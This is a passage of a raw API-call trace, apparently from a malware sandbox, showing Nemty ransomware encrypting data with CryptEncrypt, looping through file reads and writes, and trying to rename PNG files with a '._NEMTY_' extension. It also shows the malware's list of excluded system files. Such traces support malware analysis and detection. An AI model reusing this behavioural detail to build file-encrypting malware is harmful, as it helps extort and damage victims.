0x6345e38 [0087.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialmainsubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0087.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialmainsubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="specialmainsubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0087.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0087.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialmainsubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0087.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialmainsubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="specialmainsubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0087.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0087.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialmainsubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0087.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialmainsubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="specialmainsubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0087.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialmainsubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0087.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0087.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="specialmainsubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="specialmainsubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0087.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0087.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0087.390] Sleep (dwMilliseconds=0x5) [0087.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7be7cd0, dwHighDateTime=0x1d561e7)) [0087.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7be7cd0, dwHighDateTime=0x1d561e7)) [0087.405] GetLastError () returned 0x5 [0087.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.405] GetLastError () returned 0x5 [0087.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0087.405] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0087.405] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0087.405] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0087.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0087.405] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="yuzPpJZaqdL0jyCTZ5+IkQhFCm9FjTbjqtvrBLJfdWyrwzXLPjCh1ohBowl708yn\r\n9wE9/QaBpxkk+kZT/PksV0ti0xS2apsOkLOoCXW80eQNG6yJCE9SzQqZn9m7v4pI\r\nZQ0ZQgFuZuVimCHngDc5f2S2DCAm7mCxbjibVAosh4PQqHatTz9YmwOSNL5KfmeR\r\nkTuZ5zUFwHWfVJExIXHJOwCf2u6nKWGkLbztaZLXDr/SZCnuR68g54w9iJtAaxy8\r\nJ3InDEXi530CuFlViD0xbGnYXi9bAIYhZrXljnjqN5/dbYqDkIbo8fipueaLYmTH\r\nKKdS+N8wQN+5rX/Gi6Qctg==\r\n", pcchString=0x653e91c) returned 1 [0087.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0087.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0087.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0087.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0087.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0087.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0087.405] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.405] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0087.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0087.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.463] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0087.514] CloseHandle (hObject=0xffffffff) returned 0 [0087.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0087.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0087.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0087.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0087.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0087.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0087.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0087.514] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png._nemty_kgobjgd_")) returned 0 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0087.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.514] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0087.514] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0087.514] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0087.514] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="rsa") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="programdata") returned 1 [0087.515] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0087.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0087.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_ButtonGraphic.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0087.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_ButtonGraphic.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 39 [0087.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0087.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_ButtonGraphic.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0087.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_ButtonGraphic.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 39 [0087.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.515] 